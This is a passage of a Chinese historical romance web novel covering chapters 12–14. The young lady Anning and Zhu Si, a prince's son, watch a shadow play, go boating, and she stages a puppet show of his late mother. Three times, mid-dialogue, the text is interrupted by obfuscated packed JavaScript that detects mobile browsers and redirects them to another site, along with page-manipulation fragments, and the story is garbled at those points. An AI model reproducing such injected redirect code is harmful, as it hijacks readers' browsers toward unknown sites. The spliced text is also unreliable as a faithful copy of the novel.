若是往日,侍从拦上一拦,朱思便也顺了他的意思好好地留在顾府。此时他却摆了摆手:“无妨。时辰还早,左右事情不多,待会儿回来再看也来得及。” 侍从闻言一怔,却不敢再出言阻拦,小心地退下,侧头轻声吩咐身后的人去备车。 安宁问顾文渊:“大姐姐的古琴课要上到什么时辰?若是不会太久,不如邀她一起同去。” “还是不要等她的好。”顾文渊打消了安宁的念头,“大姐每次上完课,都要苦练上一个时辰的琴,说是先生讲的东西,趁那时候融会贯通最好,若是搁置得时间久了,领悟的东西便大打折扣。她练完琴之前,你叫她是叫不动的。” 安宁闻言只好作罢。 顾文渊喊来下人吩咐备车,朱思道:“我的人已经备好了车驾,咱们只有三人,不如同乘我的马车。” 朱思备下的是一辆十二匹红棕马拉着的乌木马车。马匹皆身形高大健壮不是凡品。车厢宽敞,对坐六人都绰绰有余,车厢中间固定着木桌,木桌下还有取暖用的火盆。只是如今天气尚暖,火盆用镂空雕花的铜罩子盖着,并用扣锁固定在地板上。 再看那车厢用的宝顶,上面雕刻有蝙蝠和寿桃的祥纹,且边角都用鎏金的黄铜包边做装饰。她收回目光上车,低声问顾文渊:“这个朱四叔是什么来历,哪个宗室子弟?” 顾文渊同样压低了声音回答:“路王家的。” 安宁恍然大悟。 先帝只有一个亲弟弟,便是路王。先帝在世时便对路王多有偏宠,先帝大行后,王太后对路王也多加礼遇。若是路王府的人,用这样的车驾那倒说得过去了,不算违制。 马车前后随行有两队共计三十六名带刀护卫,另有随车步行的侍从若干。一行人浩浩荡荡离了顾府,向着南门大街前行。 安宁撩起车帘一角看着大街上繁华的景象。京城的路更宽,两侧的楼房更密集楼层也更高。路上时常可见八匹、十二匹甚至十六匹大马拉着的车驾,可见遍地都是王公贵族。 朱思微笑着问安宁:“你想去哪儿逛逛?” 安宁道:“我在开阳的时候爱听戏,听说京城里有一种木偶戏,用木头雕了一尺来高活灵活现的人偶,人偶师用绳子在房梁上牵动着,一举一动有如真人。我一直好奇来着,可惜开阳没有。京城里如今可有木偶戏?若是有,我倒想去开开眼界。” 顾文渊挠了挠头:“我是不爱看这些小孩子的玩意,没听说过,朱四叔,你听过吗?” 朱思摇头:“未曾听闻。”他不愿安宁失望,“咱们先去南门大街,然后使人打听着,寻到了就去看。若是一时找不到,南门大街的皮影戏在京里也十分有名,不妨去试试。” 马车到了车水马龙的南门大街,这里人潮熙攘十分热闹。众人径直去了繁花楼,朱思的下人赶早先来一步,定下了楼上的包房。安宁一行人进去的时候,包房的大厅里原本的圆桌已经被挪走,支起了一个一人多高的白色幕布,房间里挂上了厚重的幔帘,放下来就可隔绝外面的光线。 酒楼的管事拿了折子进来请他们点戏。朱思将折子递给了安宁:“你看一看,想看什么?” 安宁翻了翻:“那就《白蛇传》吧。” 酒楼的管事弯腰收了折子,拉长了尾音扬声向外传话:“《白蛇传》~~” 一行五六人手里拿着各式乐器和腰鼓凳进了包房,寻了个角落一一落座,过不多时,一个老头领着一个小姑娘背着一个木头箱子进了房间,冲着在座的几位客人行礼后去了幕布后面。这时酒楼的侍女放下了包间里所有的幔帘,屋子里顿时漆黑一片。 幕布后亮起了灯,白色幕布朦朦胧胧,随着板鼓一声响,幕布上出现了青山绿水,紧接着一条白蛇从山林间飞出,落到河边化作一个白衣女子,对着河面打量着自己的模样。 一开场安宁就被吸引住了心神,全神贯注地看着幕布。顾文渊嘴上说着不爱看这些小孩子的东西,实则比安宁看得还要认真。 只有朱思没有被戏文摄住心神,他安静无声地打量着安宁的侧颜。幕布后透过来的光十分黯淡,让她的身影半隐在黑暗中,如同幕布上的皮影一般朦朦胧胧。她的眼睛里带着光,长长的睫毛翘曲,此时的神情如同婴儿般纯真。 朱思的手指触到了怀里半湿的香囊。这是亡母留给他唯一的念想了,他小心翼翼地藏在身上,不想让旁人发现,让人诟病他和养母的感情有嫌隙。今日花园的事情,于她或许只是举手之劳,于他却是一份很大的恩情。 感受到他的注视,她扭头眼带疑问地看向他。他微微朝她的方向欠了欠身子,在她耳边轻声道:“今日的事情,多谢你了。” 她莞尔一笑,同样轻声回道:“四叔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273254|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何必如此多礼。” 软糯的声音,娇俏的面容,小姑娘像初开的花朵般招人喜欢。只是看着她,就让人莫名地心情愉悦。 一出戏演了大半个时辰,随着最后一声锣响,戏文落下了尾声。楼里的侍女举着灯台鱼贯而入点亮了屋里的灯,又撩起了幔帘让房间里恢复光亮。顾文渊卖力地顾着掌,连声夸赞:“好,好!”他兴奋地扭头对安宁道,“我今儿个回去一定要好好地同大姐讲一讲,她没来看上这出戏,实在可惜!” 屋子里的艺人们纷纷起身谢礼,朱思的近侍端着蒙了红绸的木盘进来给戏班老板赏银。老板接过木盘入手一沉,满心欢喜地朝着几人谢了又谢,这才领着自己的班组出了包房。 三人看戏耽误了用午膳的时辰,索性就留在繁花楼用膳。繁花楼座落在西凉河边上,推开临河的窗户,河风轻拂,宽阔的河景尽入眼底。河堤上垂柳弯着腰,长长的翠绿的柳枝如同少女的青丝,有成群的野鸭子在柳树笼罩的阴影下惬意地游动。岸边有人不紧不慢地步行赏景,河道中央散落着十几艘乌棚木船,时不时可见渔网映着阳光洒进金光灿灿地河面,溅起无数水花。 更远地地方,繁华地京城向着远方铺陈,红墙黑顶的建筑层层叠叠,宽阔的街道上车水马龙人来人往,一幅欣欣向荣的热闹景象。 安宁坐在窗边,托腮看着外面的场景,不由得感叹:“京城真繁华。我原觉着开阳城已经十分繁荣,同京城一比却差得远了。” 顾文渊笑道:“普天之下,能同京城相比,恐怕除了金陵尚能比肩一二,旁的都难以望其项背。我爹曾经提过,他少时刚来京城,也并非如今这般。”他向着皇宫的方向拱了拱手,“这都是当今圣上同太后的仁德所致,这才有了当今的安定繁荣。” 朱思闻言眼里带着笑:“文渊所言极是。” 等着上菜的间隙,安宁眺望着临河的街道,忽然看见一个眼熟的身影。那人身材高大健硕,手里提着一柄长刀正同身旁的友人一边笑谈一边步行。安宁心里一跳霍然起身,来不及同身旁的两人交代一声,风一般地跑下了楼,向着那人追去。 顾文渊的呼喊声还在身后:“……二姐?!” 安宁提着裙摆追上前,拉住了那人的衣角:“伯言!” 那人转身,他同伯言身形侧脸有几分相像,转过来却是陌生的面容。他诧异地看着身后的安宁:“姑娘,你有何事?” 安宁失望地放开手,微微矮身致歉:“是我把你错认为我一个友人,叨扰公子了。” 那人微微点头,和同伴继续前行。安宁失望地站在原地看着他的背影。 她突然意识到,京城如此之大,权贵不知凡几,若伯言说的是真话还好,若他说的是假话,只怕再无相见之日了。 朱思同顾文渊追了下来,见她失望颓丧的样子,顾文渊打量了一眼那人的背影,转头问安宁:“二姐,怎么了?” 安宁摇头:“我认错了人。” 她虽然表面看着如常,朱思却敏锐地发现,至此之后,她的兴致便不高,再没有看皮影戏时那眼里带着光亮的模样。用完午膳她便托词今日初到不便在外面耽搁太久,一行人打道回府。 顾文渊先跳下了马车,侍女们还没有搬来下马凳,车厢里只余朱思同安宁两人。朱思突然开口:“你方才错认的那人,可是你心悦之人?” 13. 12 安宁诧异的看向朱思:“朱四叔,饭可以瞎吃,话可不能乱说。这要是传到外人的耳朵里,岂不是败坏我的名声?” 朱思微微皱眉,不赞同地看着她:“你嘴里说着怕败坏自己的名声,我看你说的做的,却一点也不怕。” 安宁扭身看着他:“我爱惜羽毛得紧,这话从哪儿说起?” 朱思道:“你在花园里,当着陌生男子面便敢脱鞋。在大街上又冒冒失失去追旁人。这些种种不都是败坏自己名声的举动?” 安宁抿紧了唇,半晌后不悦地开口:“依你这么说,我帮你,反倒帮出错来了?” 朱思一怔:“我不是那个意思。” 她神色冷了许多:“那你是在责备我行为不检?” 他白皙的脸颊变得通红:“我也没有那个意思……” 她瞥了他一眼,眼见侍女摆好了下马凳,不给他再说话的机会,起身下了马车。朱思想要追过去解释,一下车见护卫侍从侍女呼啦啦几十人围着只能作罢,眼睁睁看着安宁头也不回地进了府。 顾府说大不大,说小也不小。说它大,朱思落脚的钟书苑和安宁居住的霞蔚居紧挨着,只有两道院墙和围墙间夹杂的水道相隔。说它小,这一人多高的两道围墙和狭窄的水道又仿佛鸿沟一般隔开了彼此,他也不好贸然去寻她同她说话。 月已中天,夜凉如水。朱思却没有丝毫的睡意。他推开了房门走到院子里,看向安宁霞蔚居的方向。透过围墙上的菱形花窗隐隐能看见那边院子亮着的灯火。夜风轻拂,种在围墙间的竹林轻轻摇动,发出沙沙的轻响声。月色下竹影斑驳,光影飘动。 朱思的近侍拿了件披风过来,轻声道:“主子,如今立了秋,夜里寒凉,您还是披上件衣裳吧。” 朱思接了披风,吩咐他:“我想自己一个人静一静,你们都退下。” 近侍不敢违逆他的意思,弯腰应了一声,他冲着院子四处招了招手,他退了下去,院子里窸窸窣窣好些影子一般的暗影也从暗处退了出去。朱思叹了口气,背负着双手抬头看着夜空。墨色的空中有流云浮动,银色的圆月便在浮云中忽隐忽现。 他正怅然中,听见隔壁院子吱呀一声门响,响起了一个小丫鬟的声音:“姑娘,夜里凉,您在外头坐,可别受了寒。” 安宁的声音响起:“屋里闷得紧,就想在外头坐一坐。你们快去把爹的躺椅搬来,就放到这处,正好上能赏月,下可观鱼。” 两个丫鬟应了一声,依言去忙碌。朱思看着围墙上的花窗,果然看见了安宁的身影,她手里提着一盏小灯笼,迈步下了长廊的台阶,走到一处低头去看。她似是心有所感,抬头举起灯笼向他的方向看来,隔着两边院墙的花窗,和他对了个正着。朱思一怔,敛目作揖。 安宁见是他,轻哼了一声放下了灯笼。她那边院子靠近院墙的位置修了一个不大的鱼池,同外面的水道连通。她拿着灯笼是在赏玩鱼池里的锦鲤。锦鲤见了光纷纷游向这处,争先恐后地冒出水面不停地开合着嘴,向她讨食吃。 朱思见她这般,颇有些无奈:“你还在生气?” 她头也不抬:“我哪儿敢生四叔的气。毕竟你是长辈,长辈训斥晚辈,我原也该老老实实的听着。我若是不听或者回嘴,岂不是忤逆长辈?” 她这阴阳怪气牙尖嘴利的样子,哪儿有一丁半点晚辈的样子。朱思往前走了两步:“我没有说你的意思。” “说我也不打紧,说我就听着。”安宁直起了身,“不过四叔,您若是正人君子,一则不会悄悄宝贝着不知哪个女子送的香囊,差点摔进湖里都不愿让旁人知道,二则这夜深露重的,您也该守着男女之防,不该隔着墙同我搭话。” 朱思轻叹一声:“那不是旁的女子送我的信物,那是我亡母的遗物。” 安宁愣了愣,抬头向他看来。月色下他的脸看不太分明,那边院子廊下的灯笼在他身上镀上了一层淡淡的辉光,他莫名地落寞孤寂。安宁有些后悔自己的口无遮拦,同他行礼道:“四叔,你别怪罪。我不知那是你亡母的遗物出言得罪,是我不对。” 朱思打起了精神:“无妨,不知者不罪。” 白蔻和沉香吃力地将顾林书的躺椅从书房里搬了出来,打断了两人的交谈。两个丫鬟合力把躺椅搬到鱼池边放下。白蔻捶着腰,忍不住开口抱怨:“姑娘,这椅子太沉了。您要是再想挪动,白日里找几个粗使婆子或者护卫来吧,真要了我的命了。” “好了好了,辛苦你了。”安宁顺手将灯笼放到一旁的鱼池边上,伸手抚摸躺椅光滑的椅背,“爹在家时时常念起这把椅子,娘说从京城把椅子搬去开阳他又不愿,说是要在这边留个念想。” “老爷念的不是椅子,是这边的一景一物吧。”白蔻道,“这椅子在这边是个念想,若是搬去开阳,就只是个普通的物件了。” 白蔻难得有说话这么有道理的时候,安宁赞了一句:“你说的在理。”她转身在躺椅上躺下,仰头看着夜空,“……这里的夜空看着倒同开阳差不多。”她对两个丫鬟挥了挥手,“你们也累了一天,先下去梳洗。我自个儿在这儿坐会儿。” 两个丫鬟应了一声,沉香又折返房间拿了些鱼食来给安宁,这才去了水房寻白蔻。 安宁起身拿了鱼食去喂鱼,灯光下鱼儿争相抢食,弄得池水哗哗作响。 安宁抬头向着旁边院子看了一眼,也不知朱思是否还在那处。那边院子恰好处在竹林笼罩的阴影里,看不分明。 她心里在想着路王府的事,据她所知,路王妃尚且健在,文渊说朱思行四,见他在这边府上住着没有丝毫要离开的意思,怕是在那边王府里也只是个不受宠的庶子。他那般宝贝亡母遗物怕人知晓,恐怕日子过得不太容易。素来庶子庶女在嫡母手下讨生活就不太容易,若嫡母是个好的还好,若是个不好的,暗地里不知道要受多少磋磨。 一阵夜风吹过,那边院子里朱思打了个喷嚏,安宁才察觉到原来他还在:“你既然在,为何不出声?” 他闷声道:“我看你喂鱼,不想惊扰了你。” 安宁把手里最后一把鱼食洒进鱼池里,侧身在鱼池边坐下,轻声问:“四叔,你还记得自己娘的模样吗?” 朱思沉默了片刻:“我娘走得早。我不满周岁她就离开了人世,对她实在没有什么印象。” 安宁问道:“那你是王妃抚养长大?她对你好么?” 朱思道:“母亲待我极好。” 安宁心里不信,觉着朱思没有说实话。若是路王妃果真待他很好,他又如何会随身带着亡母的香囊又不愿别人知道?何况未满周岁就失去了母亲,音容笑貌只怕都没有任何印象,偏要将香囊做份寄托。 她没有拆穿他,她从小父母偏爱,只觉得失去父母是人世间最大的悲痛,心里越发觉着他可怜。 她转了话题:“还没谢谢你今日请我看皮影戏。” 他的声音从黑暗中传来:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273255|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你若是喜欢,我再去寻些有趣的曲目来看。” 安宁伸手轻轻撩了撩池水,指尖冰凉。池里的鱼儿们以为是吃的,纷纷上来轻啄她的手指,引得她咯咯发笑。 她坐在那里,池水映着灯光,波光粼粼映照在她身上,她神情放松,慵懒而天真,她侧身坐着,长裙从池边下垂,夜风吹过裙摆轻拂,让她看着飘然若仙。 他道:“我白日里话说得重了些,你不要生气。” 她看着锦鲤微微一笑:“我生气不是因为你话说得重,是因为你说得对。你说得对,我听着刺耳又无从反驳,只能生气来掩饰。”她看向他的方向,柔声道,“是我无理,四叔不要怪罪才是。” 他窒了一下,没想到她会大大方方承认是自己无理取闹:“你这个年纪的小姑娘,正是该被宠爱的时候,便是骄蛮些也不打紧。” 安宁跳下地,拍拍手:“时辰不早了,我要回去安寝。四叔,你也早些回去安歇着吧。”她说完便取了灯笼,转身回了房间。 那边院子里的光影逐渐远去,花窗边朦胧的亮光消失。他怔怔地站在原地,听夜风将竹林吹得沙沙作响。 次日一早,安宁去了保国公府给外祖母请安。 曹婉知道她要来,起了个大早,吩咐厨房做了软糯的奶羹,等她见礼完毕,便吩咐嬷嬷让小厨房快些送上来。 曹婉嘱咐安宁:“虽说只是初秋,早晚寒气重。你这一路过来,吃点热奶羹去去身上的寒气。” 安宁应了一声,接过奶羹小口慢用。她吃了小半碗,将碗递给一旁的沉香:“祖母,我早上用了不少枣糕,这会儿实在是吃不下了。” “好,好。”曹婉欢喜地看着安宁,朝她招招手,“到我面前来,让我好好看看。” 安宁走到曹婉面前,她拉着她的手细细打量。安宁渐渐长开,眉目间既有顾林书的影子,也有李月桦的模样。曹婉看向身旁的于嬷嬷:“像桦儿小时候。” “确实像。”于嬷嬷笑道,“尤其笑的时候,像极了姑娘。” 曹婉慈爱地轻轻拍着安宁的手背:“你在这边可习惯?吃的东西合不合胃口?家里人照顾得可妥帖?” 安宁爱娇地挽住曹婉的胳膊在她身边坐下:“祖母放心,那边府里一切都好,大伯母是个细心的,将我照顾得极为妥帖。吃的也好,特意交代过厨房,做的都是我爱吃的东西。” “那就好那就好。”曹婉不眨眼地看着安宁,既是在看她,也是透过她在看自己的女儿,“原说早些接你回来住,严嬷嬷好容易出了宫,同我告了两个月的假,要回趟老家去省亲。她半辈子都没见过亲人,我便放了她回去,还没来得及写信告知你母亲这事儿,她就已经把你送了过来。” 安宁心里咯噔一声,那岂不是要在京城多留两个月?京城万般都好,就是实在太约束了些,不似在开阳时那般自由自在。她心里还是想早日回开阳的。只是她心里虽然如此想,嘴上却甜:“祖母,这么些年爹娘同我、弟弟们都不在京城,我既然回来,多留些日子正好在你们面前多尽尽孝。” “这小丫头。”曹婉眉开眼笑,“小嘴和抹了蜜一样的。”她笑看着安宁,“这两月你就先在你祖父那边安心住着,严嬷嬷一回来我就使人过去接你。” 安宁把脸贴在曹婉胳膊上:“那我想祖母了,我也要过来。” 曹婉开心地大笑,拍着她的手背看向身旁的于嬷嬷:“等她学规矩的时候还能这般乖巧就好!” 14. 13 钟书苑翻修的时候花了大心思,不仅将荷塘同外面的流水用暗渠相连通使荷塘的水成为清澈的流水,更是在荷塘中央修了一个两层的亭阁。这亭阁砖木混搭呈八角形,六面都是雕花镂刻的花窗,视野十分开阔。 顾仲堂格外钟爱这个荷塘中央的亭阁,亲自提了牌匾闲云楼。二楼放满了书架放置着他的各种藏书,一楼则规则地摆上了不少案桌,他得闲时就在此处给自己的学生上课。 如今府里的学生只有朱思同顾文渊两人。两人每日里无论顾仲堂在否,都会到此处来进学。顾文渊埋头做着文章,朱思却抬头看着窗外。透过大敞的花窗,荷塘里一群鸭子正在惬意地游动着,不时发出嘎嘎嘎的叫声,偶尔一个猛子扎下去,再浮出水面时用力摆头抖着身上的水。 他早早起了床,特地拿了书卷在院子里看书,实则醉翁之意不在酒,想着能不能再碰上安宁。岂料那边院子一直静悄悄的,偶尔有人影走过,也只是负责洒扫的小丫鬟和粗使婆子。 安宁身上有一种奇怪的魔力,他说不清是什么。只觉得她鲜明热烈,散发着一种磁石般的吸引力吸引着他,让他想同她多加接近。 阵阵琴声从远处传来,是顾珂柔在上古琴课。琴声悠扬拂过湖面,更显院内的静谧。 “文渊。”朱思道,“你听,你大姐的琴艺似乎又精进了。” 顾文渊闻言抬头,侧耳细听了片刻点点头:“大姐每日这般苦练,精进也是意料之中的事。” 朱思转而问道:“你二姐呢?没有同你大姐一起学琴?” “我二姐姐最是不耐这个。”顾文渊笑道,“她那个性子,如何能静下心来练琴?我二婶倒是有一手好琴艺,师从当年京城有名的秦大家,便是这,二姐姐也未能从二婶那习得半分。” 朱思有些讶然:“她不会琴?” 京城里的大家闺秀,哪个不是从小精研琴棋书画茶艺插花等等?顾文渊低头写着字:“不仅不会琴,还是个臭棋篓子。她要是邀你下棋,可万万别应。她棋艺不佳还毫无棋品,极爱悔棋,若是不让她悔棋,她急了就掀桌子……” 安宁的声音响起:“谁掀桌子?” 顾文渊唬了一跳,手一抖,掉了好大一团墨汁在纸上,顿时弄花了他刚才写的大字。他忙不迭地放下毛笔起身:“没,没谁,我和朱四叔瞎聊呢。” 安宁施施然进了屋,身后跟着白蔻沉香两个丫鬟。朱思看见她顿时觉着满心欢喜,也跟着站起了身,柔声问道:“你怎么来了?” “我一大早去保国公府给外祖母请安,回来的路上看见西凉河上有游船。我想去游河,请示了祖母,祖母说,除非文渊陪我同去,否则不让我去。”安宁走到顾文渊身边,“你陪不陪我去啊,文渊?” 顾文渊立刻赔笑:“二姐想去,我自然相陪。” 安宁拿起顾文渊写的文章抖了抖:“会不会影响你的课业?” “不打紧不打紧。”顾文渊不知方才安宁到底听见了多少,赶紧道,“学业岂是一时之间的事情?需经年累日的用功,耽误这点时辰算不了什么。二姐姐想去我定然要相陪。” 安宁这才露出满意的笑容:“那还不叫人去套车?” 顾文渊擦了擦额头的冷汗,一溜小跑出去喊人套车。 朱思看着这一幕:“他好像很怕你?” 安宁扭头看着朱思,突然道:“四叔,你不要听他瞎说,我虽然棋艺不精,棋品还是过得去的,断然不会做出掀桌之举。” 朱思失笑:“好好好,我信你。” 她这才问他:“四叔,你要不要同去?” 朱思笑道:“左右无事,同去便是。” 安宁转身往外走:“我去叫大姐姐,她琴也练得差不多了,正好一起。” 顾珂柔练完了琴,妹妹来相邀去游河,她自然没有拒绝的道理。出门前却喊住了安宁,吩咐身边的嬷嬷拿来了两个带着面纱的斗笠,亲手替安宁戴上,一边替她整理着垂下来的覆面一边道:“大家闺秀尽量不要抛头露面,出门要戴上覆面,不要给那些登徒子可乘之机。” 安宁安安静静的任由姐姐替她整理,姐妹两都戴好了覆面才一同出门。朱思和顾文渊已经候在了门口,见两个高矮胖瘦都差不多的姑娘一起出了门,两人头上都戴着蒙了纱幕的斗笠,那纱幕一直垂下到快脚踝的位置,将人遮了个严严实实。若非衣衫有区别,真分不出谁是谁。 门口备着的还是朱思的马车,顾文渊先扶了安宁上车,又转身去扶顾珂柔。顾珂柔站在马车旁,她觉得男女同乘不好,但眼下只备了这一辆车,她转身看了看朱思,自言自语:“四叔是祖父的亲传,算是爹的同门兄弟,论起来也是自家长辈,无妨,无妨。” 她做完心理建设说服了自己方才上了马车,坐到安宁身旁。 安宁一上车就取下了碍事的斗笠露出了精致的小脸。车里面纱实在不方便,顾珂柔迟疑了一下,也学着妹妹取下了斗笠。 马车到了码头,朱思的近侍早在此间候着,见状迎上前来:“主子,船已经备下了,请主子上船。” 安宁和顾珂柔下了车,站在石阶上打量,见码头边停靠着一艘三层大船。河浪轻轻起伏,船身几乎不动,十分沉稳。 几人正准备上船,旁边过来个丫鬟,福身行礼:“叨扰几位公子姑娘了,请问这可是你们包下的船?” 几人停下了脚步,朱思不语,一旁的顾文渊看了他一眼,帮着应道:“正是我们的船。” 丫鬟道:“不知几位包下这条船作价几何?我们姑娘来晚了,没有了游船,愿出双倍的价格,不知诸位可否割爱?” 这丫鬟嘴里的话听着还算客气,可神情十分倨傲,大有我们姑娘看上你们的船是你们的福气之意。朱思没有搭理她,转身继续前行。顾珂柔跟了上去,安宁打量她两眼,嗤笑了一声,也转身上船。 丫鬟见几人都不搭理她,追着往前走:“我们姑娘是定国公家的五姑娘!三倍的价格!三倍!” 几人没有再看她一眼,等他们都上船之后,船家收了舢板,大船缓缓离岸。 顾珂柔站在船舷边看着气急败坏远去的丫鬟,对安宁道:“这丫鬟是定国公府的下人?这般将银钱挂在嘴上以势以钱欺人,实在是丑陋得紧!” 安宁听她一本正经的批评那丫鬟,挽住顾珂柔的胳膊:“大姐姐,主要她心不诚,给的价格不够高。” 顾珂柔不解:“不够高?” 安宁道:“她出双倍、三倍的价格,自以为已经给足了价钱,在我们看来就是个笑话。若是今日来一个人,出三十倍、三百倍、三千倍,甚至三万倍的价格呢?” 顾珂柔仔细想了想:“若是有人出到三百倍的价格,我便果断相让不做纠缠,也不会觉着她以势以钱欺人。”她看了安宁一眼,“你倒是有趣,竟然能想到这一层。” 顾文渊想了想:“若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273256|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,出到三十倍的价格我便相让了。”他看着朱思,“四叔,你呢?” 朱思笑了笑,没有回答这个问题。安宁道:“四叔是王府的人,钱财于他不是最重要的事情,脸面远比钱财重要。”她话锋一转,“若是三十万倍三百万倍的价格呢,四叔,你让不让?” 朱思回答得毫不犹豫:“让。” 几人笑了起来,朱思自己也不禁莞尔。他看着安宁笑得开心的样子,温声问她:“你呢?” “若是我的船,且看我的心情。我若心情好,她说话也客气,三倍价格让了便让了。咱们拿着钱去寻个戏楼看看皮影戏听听曲喝喝茶也能愉快地玩上几个时辰。可我若是十分想玩,她出三百倍三千倍的价格我也不让。” 朱思打趣她:“三万倍呢?” 安宁嗔怪地看了他一眼:“哪儿有傻子真能出到这个价格啊!” 游船上层只有他们四人,船家都在下层底舱。船上的侍从侍女都是自己从家里带出来的,安宁和顾珂柔便摘了斗笠,站在甲板上晒着暖阳赏河景吹河风。顾珂柔站了会儿嫌太阳太晒,避去了船舱同顾文渊下棋。朱思见安宁一人,便慢慢踱步到她身边。 她眯着眼睛,毫不在意天上的烈日,迎着迎面而来的河风,任由它将她的衣物吹得猎猎作响。朱思问她:“坐船有意思么?” “有意思。”她握住船舷,“草原上只有小溪流,哪儿能见到这么宽阔的河面,这么巍峨得高山……高山倒是有,只是极远。北蒙山脉终年被白雪覆盖,很少看见绿色。我也没有去过。” 他站在她身旁同样眺望远处,安宁扭头看他:“四叔,你知道自己母亲长什么模样吗?” 她这问题问得有些突兀又无礼,他却没有丝毫责怪之意,温声回答:“我虽不记得,但留有一幅亡母的画像,也算知晓一二。” 她点了点头:“能被路王看中,想来长得极美。” 他问:“为何突然问这个?” “一时好奇。”她追问,“我能不能看一看那画像?” 这个问题更奇怪,他却耐心顺着她的意思:“好,回去我便让人把画像给你送过去。不过这画像我也只遗留了这一幅,你小心些。” 她拍了拍自己的心口:“你放心,我定然十分仔细,不会伤着画像半分!” 两人正说着话,见不远处有另一艘游船慢慢地追了上来,慢慢放缓速度隔着一段距离和他们的船并驾齐驱。那边船的甲板上,先前那个码头上的丫鬟站在一个华服少女的身旁,正对着这边指指点点,不知在说些什么。 “唷。”安宁见状道,“看来有人收了那三倍的价格让出了自己的船。” “也未必是为钱。”朱思道,“定国公府的名头也压人,寻常人家总归会害怕几分。” 他不愿安宁这般被对面指点:“外面风大,进去避一避吧。” 安宁远远看着那边船上的华服少女:“她是国公府的,我外祖父也是国公。旁人或许怕她,我却不怕。”她看向朱思,“四叔,你是亲王府的人,你也不怕,对不对?” 他听她这般孩子气的比较,露出温柔地笑意:“我自然不怕。” “你看她那小心眼的样子。”安宁评价,“定然是个记仇的,肯定会去打探我们的来历,寻机报复。定国公府的五姑娘是吧?”她握拳拍掌,“我记住她了。” 朱思看着对面的游船,定国公府的五姑娘是吧,他也记住了。 15. 14 朱思说话算话,回府后就让人送来了他亡母的画像。安宁小心翼翼地展开,这画像已经十分有年头,裱画的绢布已经微微泛黄。画纸上,一个少女侧身坐在假山石上,正在梳理自己的长发。少女眉目极美身段婀娜,透过画纸都能看出来几分,在世时定然十分灵动美丽。 安宁拿了画像去看,过了两日就将画完好无损地给朱思送了回去。朱思收好了画像也没有多问,只当她一时好奇。 接连几日都不再见到安宁,她自个儿在院子里成日关着门,也不知在鼓捣什么东西。朱思虽然有心去寻她,到底碍着男女之防,也只能勉强压下这个心思。每日夜里他都会在院子里站一站,让他失望的是,鱼池边的躺椅都落满了落叶,也没看见安宁的身影。 这夜飘起了细雨,牛毛般的雨丝在空中飘飘扬扬,夜色茫茫,只有廊下灯笼有光的地方能看见细密晶莹的雨针。 朱思坐在窗前,看似在看书,实则看着窗外廊下飘洒的雨针在神游。他忽然听见外面传来轻轻的呼喊:“四叔,四叔!” 他心中一喜,赶紧起身快步推门出屋,果然见围墙的花窗那边透过来灯光,安宁在那处提着灯笼笑盈盈地站着。 他出来得着急,手中的书卷都忘记放下。他看了眼手里的书,将其藏在身后:“……你唤我何事?” 安宁嘱咐他:“你在这等等我,别走。” 他不明所以,仍是依言站在原地没动。 朱思的近侍见状赶紧撑了伞过来替他挡雨:“主子,小心受寒。” 朱思接了伞,将手里的书塞到近侍怀里:“你们退下。” 近侍应了一声,招呼院子暗影里的暗卫们退了出去。雨滴落在油纸伞上,发出沙沙的细碎声响,朱思站在风雨里耐心地等待着。 那边灯光远去,过了会儿,从围墙上头颤巍巍支起一方白色的幕布,朱思不明所以地看着。又见从旁挑起了一个灯笼,举灯笼的人手上不稳,晃了几晃才调整到幕布后。 雨夜里半空中浮现出一片白色的朦胧,慢慢地,幕布上依次出现了竹林、假山石和荷塘。朱思瞳孔微微收缩,这一幕如此眼熟。片刻后,一名女子也浮现在了画面中。她一身青衣,披散着柔顺的长发。她坐在假山石上,斜侧着身体打量着荷塘的水面,缓缓地梳理着自己的长发。 这一幕虽然安静无声,却鲜明灵动。像是最深的梦境出现在了现实世界。 朱思如遭重击。幕布上那女子同他亡母的模样有八九分相似,一时间竟如同画中的人活过来了一般。秋雨绵绵,落在脸颊上带着微微的凉意,他却觉着脸上有温热的东西,伸手一碰才发现是自己不知不觉间流下的泪滴。 那边的几个丫鬟和安宁力气不大,想要把东西举过高高的围墙实在吃力。支撑了不到一刻钟就将幕布、皮影和灯笼撤了下去。安宁的小脸出现在花窗边对朱思道:“四叔四叔,你吩咐人把院门打开。我使人把东西给你送过去。” 朱思嗓音沙哑,应了一声:“好。” 他转身,整个人隐在伞下的黑暗中。过了片刻他收敛好了情绪,方才开口唤人:“来人。” 近侍悄无声息地出现:“主子。” “二姑娘送了东西过来。你去院门口取。” “是。” 